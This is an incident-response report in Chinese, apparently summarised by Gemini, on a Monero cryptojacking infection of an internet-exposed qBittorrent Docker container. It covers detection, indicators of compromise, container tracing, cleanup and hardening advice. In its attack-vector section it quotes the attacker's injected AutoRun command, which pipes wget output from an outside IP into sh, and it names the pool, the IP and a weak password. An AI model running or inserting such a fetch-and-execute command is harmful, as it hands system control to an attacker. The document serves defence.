针对 Docker 容器的 Cryptojacking 攻击事件分析报告

由哈基米(Gemini)总结


一、 事件概述与高级分析 (Incident Overview & High-Level Analysis)

本次安全事件是一次典型的针对公网暴露服务的自动化攻击,导致了 Docker 容器内的加密货币挖矿(Cryptojacking)

  • 威胁类型: 恶意软件(Cryptojacker / 挖矿病毒)。
  • 攻击目标: 您的 qbittorrent Docker 容器。
  • 根本原因 (RCA): qBittorrent WebUI 管理端口(8085)被直接暴露于公网,同时使用了可被字典攻击破解的弱密码
  • 最终影响: CPU 资源被 100% 占用(CPU Saturation),导致服务器性能枯竭;恶意进程与外部矿池(C2 Server)建立持续网络连接。
1. 初始检测 (Initial Detection)

您通过 htop 监控发现系统 CPU 资源(所有核心)持续处于 100% 饱和状态。一个名为 tcrund 的进程被识别为主要资源消耗者。

2. 威胁识别与 IoC 确认 (Threat Identification & IoC Confirmation)

通过分析 tcrund 进程的命令行参数,我们确认了以下威胁指标 (Indicators of Compromise - IoCs)

  • 进程名: tcrund
  • 矿池地址: auto.c3pool.org:80
  • 钱包地址 (门罗币): 49Hecv...EmJCv
  • 挖矿算法: --randomx-lgb

这些 IoCs 明确指向一个正在执行门罗币(XMR)挖矿操作的恶意程序。

3. 持久化确认 (Persistence Confirmation)

在尝试使用 pkill -9 tcrund 终止进程后,该进程在短时间内自动重生。这证实了攻击者已经成功在系统内部署了持久化机制("复活"脚本)。

4. 根本原因定位 (Root Cause Localization)

我们的排查从宿主机(Host OS)转向了容器环境:

  1. 宿主机排查 (失败): 对宿主机的 cron(系统级和用户级)、systemd 服务及 .*rc 启动脚本的排查均未发现恶意条目。
  2. 父进程追踪 (突破):tcrund 进程复活时,我们通过 ps -o ppid= 成功追踪到其父进程(PPID),该进程为 /package/admin/s6/command/s6-svscan
  3. 锁定容器: s6-svscans6-overlay 进程管理框架(常用于 Docker)的主进程。通过检查该父进程的 cgroupcat /proc/[PPID]/cgroup),我们最终将恶意活动精确定位到 Docker 容器 21ca8c9bfa96... 内部。
  4. 确认“零号病人”: docker ps 命令确认该容器为 1Panel-qbittorrent-StoK
5. 攻击向量确认 (Attack Vector Confirmation)

您提供的 qBittorrent.conf 配置文件成为决定性证据(Smoking Gun),它完整再现了攻击链:

  • 漏洞 1 (网络暴露): WebUI\Address=* 将 WebUI 暴露于 0.0.0.0(所有网络接口)。
  • 漏洞 2 (身份认证): WebUI\Username=LeoKnox 配合了您之前提到的弱密码 LeoKnox.US
  • 漏洞 3 (恶意命令注入): 黑客在登录后,利用 qBittorrent 的高级功能,在 [AutoRun] 部分植入了恶意 wget 命令(sh -c \"wget -qO- http://85.10.225.235:7777... | sh\")。
6. 恶意行为分析 (Payload Analysis)

您提供的 JSON 威胁分析报告证实,上述 wget 下载的脚本(Dropper)执行了以下操作:

  1. 下载载荷: 从同一恶意 IP (85.10.225.235) 下载 tcrond(挖矿程序本身)。
  2. 清理竞争对手: 执行一连串 pkill 命令,终止其他已知的挖矿病毒(如 kinsing, kdevtmpfsi, xmrig)。
  3. 执行挖矿: 启动自己的 tcrond 进程。
  4. 建立持久化: (此步骤由 wget 脚本完成,未在 JSON 中完全显示,但已反映在结果上)该脚本将自身注入了容器的 s6-overlay 启动服务中,实现了进程的自动重启和持久化。

二、 故障排查与分析流程 (Troubleshooting & Analysis Workflow)

  1. 症状 triage: htop 确认 CPU 100% 饱和。
  2. 进程识别: 发现可疑进程 tcrund
  3. 威胁分析 (IoC): 分析 tcrund 命令行参数,确认为 XMR 挖矿。
  4. 持久化 Triage: pkill 失败,确认存在自动重启机制。
  5. 假设 1 (宿主机感染): 检查宿主机 cron, systemd, .*rc 文件。结论:阴性 (Negative)
  6. 假设 2 (容器感染): 转向 htop 中进程的 USER 字段 (donald)。检查 donald 用户的 cron.*rc 文件。结论:阴性 (Negative)
  7. 关键突破 (进程树分析):tcrund 复活时,捕获其 PID,并使用 ps -o ppid= 查找其父进程 PID。
  8. 锁定父进程: 使用 ps -f [PPID] 确认父进程为 s6-svscan,这是一个 Docker 内部的进程管理器。
  9. 边界界定: 使用 cat /proc/[PPID]/cgroup 读取父进程的 Cgroup 信息,提取出其所属的 Docker 容器长 ID (21ca...)。
  10. 确认容器: 使用 docker ps --filter "id=..." 确认该容器为 1Panel-qbittorrent-StoK
  11. 配置审计: 在宿主机上找到该容器的配置卷,检查 qBittorrent.conf,发现 [AutoRun] 中的恶意 wget 命令。
  12. 分析验证: 分析恶意 wget 下载的 JSON 报告,其行为与观测到的症状(tcrond, c3pool)完全吻合。排查结束。

三、 遏制、根除与恢复 (Containment, Eradication & Recovery)

1. 遏制 (Containment):

  • 执行 sudo docker stop 1Panel-qbittorrent-StoK
  • 结果: 恶意进程 tcrond 被立即终止,CPU 占用率从 100% 骤降至正常水平,成功遏制了威胁。

2. 根除 (Eradication):

  • 执行 sudo docker rm 1Panel-qbittorrent-StoK,彻底删除已被污染的容器实例。
  • 关键步骤: 在宿主机上执行 rm -rf [qbittorrent 的配置目录],彻底删除已被污染的整个配置卷
    • (注:仅修改 .conf 文件是无效的,因为恶意脚本已在容器文件系统或 s6 服务中植入了持久化后门。)

3. 恢复 (Recovery):

  • 通过 1Panel 或 docker pull linuxserver/qbittorrent:latest 拉取最新的干净镜像
  • 重新创建 qBittorrent 容器,生成一个全新的、干净的配置目录。
  • 在启动前,必须配置高强度随机密码,并加固网络访问策略(见下文)。

四、 核心漏洞与安全加固建议 (Core Vulnerabilities & Hardening)

本次事件的根源是安全配置疏忽。以下是您必须执行的安全加固建议:

  1. 【核心】最小网络暴露原则:

    • 永远不要将任何服务的 WebUI 管理后台(如 1Panel、qBittorrent、Jellyfin、Transmission、Alist 等)的端口直接映射到公网(0.0.0.0*)。
    • 建议操作: 在 1Panel 的端口映射中,将“主机”IP 地址从 0.0.0.0 更改为 127.0.0.1。这将使服务仅能从服务器本机访问。
  2. 【访问】使用安全的远程访问模型:

    • 如果您需要远程访问这些服务,请严禁使用直接端口暴露。
    • 首选方案 (VPN): 部署 VPN 解决方案(如 Tailscale, ZeroTier, WireGuard)。先连接到您的虚拟私有网络,然后通过内网 IP 访问服务。
    • 备选方案 (反代): 使用 1Panel 的反向代理功能,并必须为其额外启用“网站认证”(HTTP Basic Auth 或 1Panel 自身的密码认证),实现双重验证。
  3. 【认证】实施强密码策略:

    • 漏洞: LeoKnox.US 是一个基于单词组合的弱密码,可被字典攻击在几秒内破解。
    • 建议操作: 立即为您所有的关键服务(SSH、1Panel、qBittorrent、Jellyfin 等)更换为高熵随机密码(例如 f$@jW8!zP#5Kq&v2)。强烈建议使用密码管理器(如 Bitwarden)来生成和管理这些密码。

五、 本次事件中 Docker 部署的优势 (Advantages of Docker in this Incident)

值得注意的是,虽然此次攻击是针对 Docker 容器的,但您的 Docker 部署策略恰恰是防止了灾难扩大的关键

  • 威胁隔离与沙箱化 (Threat Isolation & Sandboxing):
    这是最核心的优势。tcrund 病毒及其持久化脚本被完全限制qbittorrent 容器的文件系统和进程空间内。它无法突破到宿主机(Host OS),因此您的宿主机系统(Armbian/Debian)保持了“干净”。

  • 快速遏制与根除 (Rapid Containment & Eradication):
    由于威胁被隔离,我们的响应措施变得极其简单高效:

    • 遏制: docker stop 命令就像一个“一键断电”开关,立即终止了容器内的所有恶意进程,瞬间夺回了 CPU 资源。
    • 根除: docker rmrm -rf [config] 实现了100% 彻底清除。您无需像在传统宿主机上那样,费力地去全盘搜索病毒残留文件、cron 条目或 systemd 服务。
  • 高可用性与快速恢复 (High Availability & Rapid Recovery):
    Docker 的“不可变基础架构”理念在此次事件中大放异彩。容器是可任意处置 (disposable) 的。您可以在几分钟内销毁被感染的容器,并从一个可信的、干净的官方镜像 (linuxserver/qbittorrent:latest) 重新部署一个全新的、安全的服务实例,将服务中断时间(Downtime)降到了最低。